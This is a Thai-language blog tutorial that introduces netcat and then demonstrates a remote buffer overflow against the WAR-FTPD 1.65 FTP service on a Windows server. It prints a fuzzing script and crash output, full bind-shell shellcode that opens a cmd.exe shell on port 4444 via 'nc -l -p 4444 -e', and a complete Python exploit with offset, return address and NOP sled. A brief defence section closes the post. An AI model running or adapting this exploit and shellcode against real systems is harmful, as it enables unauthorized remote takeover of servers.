How to hack back to the basic Episode [1] {Remote Buffer Overflow}
ในบทความครั้งนี้ผมจะมานำเสนอสิ่งที่เป็นที่สงสัยกันมากแต่ไม่รู้จะหาคำตอบที่ไหน สงสัยว่า hacker เนี่ยเขาทำอะไร เขา hack ยังไง บทความนี้น่าจะเป็นบทความภาษาไทยครั้งแรกๆในไทยที่ออกมาแฉอย่างละเอียด และผมอยากให้ทุกคนสามารถอ่านเข้าใจได้แม้ว่าเรื่องราวมันจะค่อนข้างซับซ้อน ผมจึงได้ลดคำศัพท์ยากเๆและอธิบายด้วยภาษาบ้านๆให้ทุกคนสามารถเข้าใจได้ซึ่งบ้างจุดอาจจะไม่ตรงเป๊ะแต่เพื่อให้ผู้อ่านเข้าใจง่าย ผมอยากให้คนอ่านได้ concept เป็นพอครับ ไม่งั้นได้อธิบายกันเป็นมหากาพย์แน่ๆ
ผมจะแนะนำ tools ในตำนานตัวหนึ่งซึ่งมีประโยชน์มากๆ ในการเรียนรู้การทำงานของ network และการเปิด Service ต่างๆ ซึ่งสามารถนำความรู้ไปเป็นแนวทางในงานด้าน network programming ได้ผมหวังว่าบทความนี้จะจุดประกายความคิดให้ใครสักคน ซึ่งนั้นก็ถือว่าประสบความสำเร็จแล้ว
เริ่มจากวันหนึ่งในขณะที่ผมกำลังเรียนวิชา DATA STRUCTURES AND ALGORITHMS อยู่นั้นอาจารย์ที่สอนได้ถามคำถามเกี่ยวกับ code โปรแกรมสองสามข้อ ปรากฏว่าไม่มีนักศึกษาคนไหนตอบได้เลย อาจารย์แกก็เลยบ่นๆว่า “ทักษะ programming เนี่ยมันไม่ใช่จรวดนำวิถี มันไม่ใช่ที่สุดของวิศวคอม แต่มันเปรียบเสมือนมีดพกที่สามารถนำมาใช้แก้ปัญหาต่างๆได้ตลอดเวลา” หลังจากได้ฟังคิดในใจ “จารย์คิดได้ไงฟ่ะ คมหว่ะ ฮ่าาา” วันนี้ผมก็เลยจะมานำเสนอ “มีดพก” ในงานด้าน network ซึ่งมันทำงานได้ทุกอย่างเปรียบเสมือนเรามีมีดพกเวลาเราเดินป่าทีเดียว โดยสิ่งที่ผมจะมานำเสนอมันมีชื่อว่า netcat ขนาดไม่กี่ KB แต่ความสามารถนั้นเกินขนาดมากๆ
Link download :
http://www.downloadnetcat.com/nc11nt.zip <<< Windows version
http://www.downloadnetcat.com/netcat-0.7.1.tar.gz <<< Linux version
link ข้างบนนั้นเป็น link download เจ้า netcat กับ source code ของมันซึ่งมันถูกเขียนขึ้นมาด้วยภาษา C อายุของเจ้า netcat นี้ก็ราวๆเกือบสิบปีแต่ก็ยังนำมาใช้งานจนถึงปันจุบัน (ยิ่งเป็นด้าน IT ด้วยไม่เทพจริงอยู่ไม่ได้นานขนาดนี้หรอก ^^)
สำหรับการใช้งานของเจ้าตัว netcat นั้นจะแบ่งออกเป็น 2 ส่วนนะครับคือ
1.ใช้เป็น server คำสั่งในการใช้งานเบื้องต้น ‘nc -lp [port]’ <<< ทำการเปิด [port] เช่น ‘nc -l 123’ ก็จะทำการเปิด service บน port 123
2.ใช้เป็น client คำสั่งในการใช้งานเบื้องต้น ‘nc [target IP] [port]’ <<< ทำการ connect ไปยัง IP และ port นั้นๆ
การประยุกต์ใช้งาน
1.เปิด web service(เบื้องต้น)
2.Chat
3.File tranfer
4.Spoof
5.Remote Buffer Overflow ?????(ผมจะโชว์อันนี้แล้วกัน!!!)
6……..
remote buffer overflow คืออะไร เอา buffer overflow ก่อนละกันมันคือการทำให้ memory ที่จองไว้ของโปรแกรมที่กำลังทำงานอยู่นั้นเกิดการล้นซึ่งมันจะล้นไปทับในส่วนอื่นของโปรแกรมที่กำลังทำงานอยู่ผลโดยทั่วไปก็คือจะทำให้โปรแกรม crash นั้นเอง ส่วน remote buffer overflow ก็คือการทำให้เจ้า memory ที่จองไว้นั้นล้นทับส่วนอื่นของโปรแกรมเหมือนกันแต่เป็นการทำจากระยะไกลหรือเครื่องอื่นนั้นเอง
ถามว่าเราจะทำได้แค่ให้มัน crash แค่นั้นหรือปล่าว คำตอบคือเหนือกว่านั้นเยอะสิ่งนี้ทำให้ผมถึงกลับหลงใหลมันจนถึงปัจจุบันเลยทีเดียว คือเราจะเข้ายึด flow ในการทำงานของโปรแกรมที่กำลังทำงานอยู่ให้มันแปลงร่าง backdoor แทนเพื่อให้เราสามารถเจาะเข้าไปได้แทน !!!
เอาล่ะเรามาเริ่มกันเลย
เริ่มจากมี Windows Server เครื่องหนึ่ง run service ต่างๆอยู่ ตามนี้
โดย service ที่เราจะโจมตีครั้งนี้คือ FTP Server โดยทดสอบการ connect ได้ผลตามนี้
root@bt:~/bof# nc 10.66.244.196 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. User anonymous # ผมลอง login ด้วย anonymous แต่ปรากฏว่าไม่ได้ 421- Anonymous access not allowed. 421 Control connection closed.
ขั้นต่อไปเราจะลอง overflow ในส่วนของการใส่ username โดยเราจะลองใส่ username ให้มีความยาว 777 ตัวอักษรซึ่งในที่นี้ผมเขียนสคริปขึ้นมาป้อน input เอา(ไม่ไหวจะกด ==”)
โดย script ของผมมี code ดังนี้
#!/usr/bin/env python #Author: MaYaSeVeN #Blog: http://mayaseven.blogspot.com #Video : [PoC] http://www.youtube.com/user/mayaseven print 'USER '+'w'*777
ตั้งชื่อ script นี้ว่า overflow1.py หลังจาก run ผลได้ตามนี้
root@bt:~/bof# python overflow1.py | nc 10.66.244.196 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. 331 User name okay, Need password. ^C
หลังจากนั้นผมได้ลอง connect เข้าไปอีกที ปรากฏว่า !!!
root@bt:~/bof# nc 10.66.244.196 21 (UNKNOWN) [10.66.244.196] 21 (ftp) : Connection refused
โอ้วโนนนน service นั้น crash ไปแล้วโอ้บระเจ้าโจ๊ก !
ทีนี้เราจะมาดูในฝั่งของ Windows Server ว่าเกิดอะไรขึ้น ตามรูป
โอ้วโนนนน(อีกรอบ) stack memory ล้นจนไปทับ EIP
หมายเหตุ ESP คือ Pointer ที่ Stack อันบนสุดอยู่ในที่นี้คือ 0098FD8C
EIP คือ Pointer ที่ชี้ไปยังตำแหน่งของคำสั่งที่จะทำงานต่อไป ในที่นี้โดน stack memory ล้นทับจนมีค่าเป็น 0x7777777 โดยที่เลข 77 คือค่า ASCII ของตัวอักษร ‘w’ ที่ผมส่งไป 777 ตัว
ทีนี้เราก็รู้สาเหตุที่มัน crash แล้ว ตอนนี้เราสามารถควบคุม EIP ให้ชี้ไปที่ไหนก็ได้ หึๆ
จะเป็นยังไงถ้าเราชี้ไปที่ตำแหน่งที่เราฝั่งเจ้า code วายร้ายเอาไว้!!!! อาจจะยังไม่เห็นภาพมาดูกันเลย
ขั้นตอนต่อไปเราก็มานั้งไล่หาว่าส่งไปกี่ตัวมันถึงจะไปทับเจ้า EIP เป๊ะๆเพื่อจะได้เปลี่ยนเจ้า EIP ให้ชี้ไปที่ตำแหน่งที่เราต้องการ โดยครั้งนี้เราจะแนบเจ้า code วายร้ายไปด้วยโดนชื่ออย่างเป็นทางการเขาเรียกมันกันว่า shellcode โดยเจ้า code วายร้ายนี้ก็ไม่ใช่ใครอื่นไกลมันคือเจ้า nc ในโหมด server นั้นเอง(ในบทความนี้) เพื่อไปเปิด connection ให้เราสามารถเจาะเข้าไปได้
หมายเหตุ เจ้า nc ในโหมดวายร้ายคือ “nc -l -p 4444 -e C:\winnt\system32\cmd.exe” อธิบายแบบบ้านๆคือมันจะเปิด port 4444 แล้วเมื่อเรา connect เข้าไปเราก็จะได้ shell ของเครื่องเป้าหมายนั้นเองแต่เราต้องแปลงร่างเจ้า nc ในโหมดวายร้ายให้เป็นภาษาเครื่องซะก่อนเพื่อให้มันทำงานได้โดยตรงเมื่อ EIP Pointer ชี้ไปให้มันทำงาน แปลงร่างได้ Code ประมาณนี้
shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
และนี้คือที่มาของคำว่า shellcode ขออภัยที่จำที่มาของเจ้า shellcode ตัวนี้ไม่ได้ ==”
ที่นี้เราก็จะทำการส่งเจ้า code นี้ไป run ที่เครื่องเป้าหมายซะ แต่เราจะส่งไป run แบบเหนือชั้นกว่าการส่งโทรจันไปหลอกให้เหยื่อรันแบบในสมัยก่อนนะเธอว์
ขั้นต่อไปเราก็มาเขียน code เพื่อส่งมันไป run
#!/usr/bin/env python #Author: MaYaSeVeN #Blog: http://mayaseven.blogspot.com #Video : [PoC] http://www.youtube.com/user/mayaseven shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" shellcode += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" shellcode += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" shellcode += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" shellcode += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" shellcode += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" shellcode += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" shellcode += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" shellcode += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" shellcode += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" shellcode += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" shellcode += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" shellcode += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" shellcode += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" shellcode += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" shellcode += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" shellcode += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" shellcode += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" shellcode += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" shellcode += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" shellcode += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" shellcode += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" shellcode += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" shellcode += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" shellcode += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" print 'USER '+'w'*485+"\x8b\x89\xe8\x77"+"\x90"*16+shellcode
โดยผมเซฟมันชื่อว่า overflow2.py ทีนี้ผมจะอธิบาย Code ของผมสักหน่อย
‘w’*485 ส่วนนี้คือ buffer ที่พอดีให้อีก 4 Byte ข้างหน้าลง EIP
“\x8b\x89\xe8\x77” ส่วนนี้คือส่วนที่จะลง EIP พอดีเพื่อให้ JUMP ไป run shellcode จริงๆแล้วมันเรียงกับด้านด้วยเหตุผลของสถาปัตยกรรม big endian กับ little endian
“\x90″*16 ส่วนนี้คือส่วนล่อเป้าเป็นเทคนิค NOP Sled คือประมาณว่า JUMP มาแล้วถึงไม่ตรงเป้าก็ให้มันลงตรง NOP นี้ละฟ่ะมันจะได้ทำงานต่อไปจนถึง shellcode โดยไม่ crash ซะก่อน เออลืมบอก NOP คือ No Operation คือถ้า EIP ชี้มาตรงนี้มันก็จะเลื่อนไปตำแหน่งต่อไป
shellcode ก็คือเจ้า nc ในโหมดวายร้ายนั้นเองนะเธอว์ (อาจจะ Abstract ซักหน่อยจินตนาการเอาละกันไม่รู้จะอธิบายยังไงให้ดีฟ่านี้แล้ว)
มาขั้นสุดท้ายยิงมันนนนนนนนนนนนน
เรียบร้อยควบคุม Server เป้าหมายได้แล้ว ที่เหลือก็ หึๆๆๆ
วิธีป้องกัน
1.มันจะอยู่ในส่วนตั้งแต่การพัฒนาโปรแกรมเลยครับ คือต้องเขียนโปรแกรมให้รอบคอบจัดการ memory ให้ดี และถ้าเป็นโปรแกรมที่ต้องให้ความสำคัญมากก็อาจจะจ้าง hacker มาตรวจสอบก่อนที่จะปล่อยให้โปรแกรมนั้นออกไปใช้งานจริง
2.สำหรับการป้องกันของผู้ใช้ทั่วไปคือตาม update patch ของโปรแกรมนั้นๆให้ทันสมัยอยู่เสมอครับคือ vendor เขา update แก้ช่องโหว่ให้แล้วแต่เราไม่ไป update มันก็นะ …
สามารถอ่านหัวข้อ How to hack back to the basic Episode อื่นๆ ได้ที่นี้